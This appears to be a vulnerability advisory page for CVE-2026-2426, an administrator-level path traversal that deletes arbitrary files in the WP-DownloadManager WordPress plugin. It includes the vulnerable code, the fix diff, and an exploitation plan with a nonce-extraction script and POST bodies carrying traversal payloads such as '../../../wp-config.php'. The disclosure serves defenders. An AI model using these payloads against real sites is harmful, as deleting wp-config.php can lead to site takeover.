CVE-2026-2426

WP-DownloadManager <= 1.69 - Authenticated (Administrator+) Path Traversal to Arbitrary File Deletion via 'file' Parameter

mediumImproper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
6.5
CVSS Score
6.5
CVSS Score
medium
Severity
1.69.1
Patched in
1d
Time to patch

Description

The WP-DownloadManager plugin for WordPress is vulnerable to Path Traversal in all versions up to, and including, 1.69 via the 'file' parameter in the file deletion functionality. This is due to insufficient validation of user-supplied file paths, allowing directory traversal sequences. This makes it possible for authenticated attackers, with Administrator-level access and above, to delete arbitrary files on the server, which can lead to remote code execution when critical files like wp-config.php are deleted.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
High
User Interaction
None
Scope
Unchanged
None
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions<=1.69
PublishedFebruary 17, 2026
Last updatedFebruary 18, 2026
Affected pluginwp-downloadmanager

What Changed in the Fix

Changes introduced in v1.69.1

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-2426 - WP-DownloadManager Path Traversal ## 1. Vulnerability Summary WP-DownloadManager (<= 1.69) contains a path traversal vulnerability in its file deletion functionality within `download-manager.php`. The plugin fails to validate or sanitize the `file` para…

Show full research plan

Exploitation Research Plan: CVE-2026-2426 - WP-DownloadManager Path Traversal

1. Vulnerability Summary

WP-DownloadManager (<= 1.69) contains a path traversal vulnerability in its file deletion functionality within download-manager.php. The plugin fails to validate or sanitize the file parameter against directory traversal sequences (e.g., ../). This allows an authenticated administrator to delete arbitrary files on the server by traversing out of the configured download directory. Deleting critical files like wp-config.php can lead to site takeover or remote code execution by re-triggering the WordPress installation process.

2. Attack Vector Analysis

  • Endpoint: wp-admin/admin.php?page=wp-downloadmanager/download-manager.php
  • Method: POST
  • Authentication: Required (Administrator or user with manage_downloads capability).
  • Vulnerable Parameter: file
  • Action Parameter: do (Set to the localized string for "Delete File")
  • Nonce Parameter: _wpnonce (Action: wp-downloadmanager_delete-file)
  • Precondition: At least one download must exist in the system to easily retrieve a valid nonce and file_id from the management UI.

3. Code Flow

  1. Entry Point: The administrator accesses the "Manage Downloads" menu. wp-downloadmanager.php loads download-manager.php.
  2. Capability Check: download-manager.php checks current_user_can( 'manage_downloads' ).
  3. Action Trigger: The script checks if(!empty($_POST['do'])). If $_POST['do'] matches the localized string for Delete File (e.g., __('Delete File', 'wp-downloadmanager')), it enters the deletion block.
  4. Nonce Verification: It calls check_admin_referer('wp-downloadmanager_delete-file').
  5. Path Resolution (The Sink):
    • $file_path = get_option( 'download_path' ); (Typically points to wp-content/uploads/downloads or similar).
    • $file_to_delete = $_POST['file']; (User-controlled).
    • The plugin performs an unlink($file_path . $file_to_delete) or similar file operation without stripping ../ sequences.

4. Nonce Acquisition Strategy

The nonce is required for the deletion action. Since this is an administrator-level exploit, we will use the browser_eval tool to extract the nonce from the "Manage Downloads" page.

  1. Navigate: Use browser_navigate to wp-admin/admin.php?page=wp-downloadmanager/download-manager.php.
  2. Identify Nonce: The deletion forms are typically located in the downloads table. Each row has a "Delete" button.
  3. Extraction JS:
    // Find the hidden input with name '_wpnonce' inside a form that has 'Delete File' action
    (function() {
        const deleteBtn = Array.from(document.querySelectorAll('input[type="submit"]')).find(el => el.value === 'Delete File');
        if (deleteBtn && deleteBtn.form) {
            return deleteBtn.form.querySelector('input[name="_wpnonce"]').value;
        }
        return null;
    })()
    
  4. Note: The file_id for a specific row can also be extracted from the same form (input[name="file_id"]).

5. Exploitation Strategy

Step 1: Authentication

Log in as an Administrator using the provided credentials.

Step 2: Test Data Setup

We need a dummy file and a corresponding entry in the plugin to generate the management UI.

  1. Create Canary File: touch /var/www/html/traversal-canary.php
  2. Configure Download Path: Ensure download_path is set to a known location via WP-CLI: wp option update download_path "/var/www/html/wp-content" --format=json.
  3. Add Dummy Download:
    wp db query "INSERT INTO wp_downloads (file_name, file, file_size, file_date, file_updated_date, file_last_downloaded_date) VALUES ('Canary', 'canary.txt', 0, NOW(), NOW(), NOW());"
    

Step 3: Extract Nonce and ID

  1. Navigate to admin.php?page=wp-downloadmanager/download-manager.php.
  2. Use browser_eval with the script in Section 4 to get the _wpnonce and file_id.

Step 4: Execution

Send a POST request to delete the canary file at the root.

  • URL: https://target.local/wp-admin/admin.php?page=wp-downloadmanager/download-manager.php
  • Method: POST
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body:
    do=Delete File&
    file=../traversal-canary.php&
    file_id=[EXTRACTED_ID]&
    _wpnonce=[EXTRACTED_NONCE]
    
    (Note: The do value must match the exact button text, usually "Delete File" in English).

6. Expected Results

  • Response: The server should respond with a 200 OK and a message indicating the file was deleted (e.g., "File Deleted").
  • Side Effect: The file /var/www/html/traversal-canary.php will be removed from the filesystem.

7. Verification Steps

  1. Check Filesystem: Use WP-CLI to check if the canary file exists:
    ls /var/www/html/traversal-canary.php
    
    (Expected: ls: cannot access ... No such file or directory)
  2. Check Database: Verify the entry was also removed from the downloads table:
    wp db query "SELECT * FROM wp_downloads WHERE file_name='Canary';"
    

8. Alternative Approaches

If the "Delete File" action name is different due to translation:

  1. Inspect the page source to find the value of the input[type="submit"] button in the delete form.
  2. Use that value in the do parameter.

If the individual delete fails, check for Bulk Actions:

  • The do parameter might be Delete with an array of file_ids[].
  • Check if the bulk delete logic also uses the file parameter directly.
  • The primary traversal is documented to be in the file parameter during the Delete File case.
Research Findings
Static analysis — not yet PoC-verified

Summary

The WP-DownloadManager plugin for WordPress is vulnerable to arbitrary file deletion via path traversal in versions up to and including 1.69. Authenticated administrators can exploit the 'file' parameter during the file deletion process by including directory traversal sequences (e.g., ../), allowing them to delete critical system files like wp-config.php. Deletion of configuration files can reset the site and potentially lead to remote code execution during the re-installation process.

Vulnerable Code

/* download-manager.php lines 208-215 */
case __('Delete File', 'wp-downloadmanager');
	check_admin_referer('wp-downloadmanager_delete-file');
	$file_id  = ! empty( $_POST['file_id'] ) ? intval( $_POST['file_id'] ) : 0;
	$file = ! empty( $_POST['file'] ) ? sanitize_text_field( $_POST['file'] ) : '';
	$file_name = ! empty( $_POST['file_name'] ) ? sanitize_text_field( $_POST['file_name'] ) : '';
	$unlinkfile = ! empty( $_POST['unlinkfile'] ) ? intval( $_POST['unlinkfile'] ) : 0;
	if($unlinkfile == 1) {
		if(!unlink($file_path.$file)) {

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/wp-downloadmanager/1.69/download-manager.php /home/deploy/wp-safety.org/data/plugin-versions/wp-downloadmanager/1.69.1/download-manager.php
--- /home/deploy/wp-safety.org/data/plugin-versions/wp-downloadmanager/1.69/download-manager.php	2024-08-19 13:32:44.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/wp-downloadmanager/1.69.1/download-manager.php	2026-02-13 01:54:04.000000000 +0000
@@ -208,21 +213,20 @@
 		case __('Delete File', 'wp-downloadmanager');
 			check_admin_referer('wp-downloadmanager_delete-file');
 			$file_id  = ! empty( $_POST['file_id'] ) ? intval( $_POST['file_id'] ) : 0;
-			$file = ! empty( $_POST['file'] ) ? sanitize_text_field( $_POST['file'] ) : '';
-			$file_name = ! empty( $_POST['file_name'] ) ? sanitize_text_field( $_POST['file_name'] ) : '';
+			$file = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $wpdb->downloads WHERE file_id = %d", $file_id ) );
 			$unlinkfile = ! empty( $_POST['unlinkfile'] ) ? intval( $_POST['unlinkfile'] ) : 0;
-			if($unlinkfile == 1) {
-				if(!unlink($file_path.$file)) {
-					$text = '<p style="color: red;">'.sprintf(__('Error In Deleting File \'%s (%s)\' From Server', 'wp-downloadmanager'), $file_name, $file).'</p>';
+			if ( $unlinkfile === 1 ) {
+				if ( ! unlink( $file_path . $file->file ) ) {
+					$text = '<p style="color: red;">' . sprintf( __( 'Error In Deleting File \'%s (%s)\' From Server', 'wp-downloadmanager' ), $file->file_name, $file->file ) . '</p>';
 				} else {
-					$text = '<p style="color: green;">'.sprintf(__('File \'%s (%s)\' Deleted From Server Successfully', 'wp-downloadmanager'), $file_name, $file).'</p>';
+					$text = '<p style="color: green;">' . sprintf( __( 'File \'%s (%s)\' Deleted From Server Successfully', 'wp-downloadmanager' ), $file->file_name, $file->file ) . '</p>';
 				}
 			}
-			$deletefile = $wpdb->query("DELETE FROM $wpdb->downloads WHERE file_id = $file_id");
-			if(!$deletefile) {
-				$text .= '<p style="color: red;">'.sprintf(__('Error In Deleting File \'%s (%s)\'', 'wp-downloadmanager'), $file_name, $file).'</p>';
+			$deletefile = $wpdb->query( $wpdb->prepare( "DELETE FROM $wpdb->downloads WHERE file_id = %d", $file->file_id ) );
+			if ( ! $deletefile ) {
+				$text .= '<p style="color: red;">' . sprintf( __('Error In Deleting File \'%s (%s)\'', 'wp-downloadmanager'), $file->file_name, $file->file) . '</p>';
 			} else {
-				$text .= '<p style="color: green;">'.sprintf(__('File \'%s (%s)\' Deleted Successfully', 'wp-downloadmanager'), $file_name, $file).'</p>';
+				$text .= '<p style="color: green;">' . sprintf( __('File \'%s (%s)\' Deleted Successfully', 'wp-downloadmanager'), $file->file_name, $file->file) . '</p>';
 			}
 			break;
 	}
@@ -376,9 +380,7 @@
 		<?php if(!empty($text)) { echo '<!-- Last Action --><div id="message" class="updated fade"><p>'.stripslashes($text).'</p></div>'; } ?>
 		<!-- Delete A File -->
 		<form method="post" action="<?php echo admin_url('admin.php?page='.plugin_basename(__FILE__)); ?>">
-			<input type="hidden" name="file_id" value="<?php echo intval($file->file_id); ?>" />
-			<input type="hidden" name="file" value="<?php echo esc_attr( removeslashes( $file->file ) ); ?>" />
-			<input type="hidden" name="file_name" value="<?php echo esc_attr( removeslashes( $file->file_name ) ); ?>" />
+			<input type="hidden" name="file_id" value="<?php echo esc_attr( intval( $file->file_id ) ); ?>" />
 			<?php wp_nonce_field('wp-downloadmanager_delete-file'); ?>
 			<div class="wrap">
 				<h2><?php _e('Delete A File', 'wp-downloadmanager'); ?></h2>

Exploit Outline

To exploit this vulnerability, an attacker must have Administrator access or the 'manage_downloads' capability. 1. Log in to the WordPress dashboard and navigate to the 'Manage Downloads' section of the WP-DownloadManager plugin. 2. Create or identify an existing download record to retrieve its `file_id` and a valid `_wpnonce` for the `wp-downloadmanager_delete-file` action. 3. Send a POST request to `/wp-admin/admin.php?page=wp-downloadmanager/download-manager.php` with the following parameters: - `do`: The localized string for 'Delete File'. - `file_id`: The ID of the identified download record. - `unlinkfile`: Set to 1 (to trigger the file system deletion). - `_wpnonce`: The extracted nonce value. - `file`: A path traversal string targeting the sensitive file (e.g., `../../../wp-config.php`). 4. The plugin will concatenate the download directory path with the user-controlled traversal string and call `unlink()`, deleting the target file.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.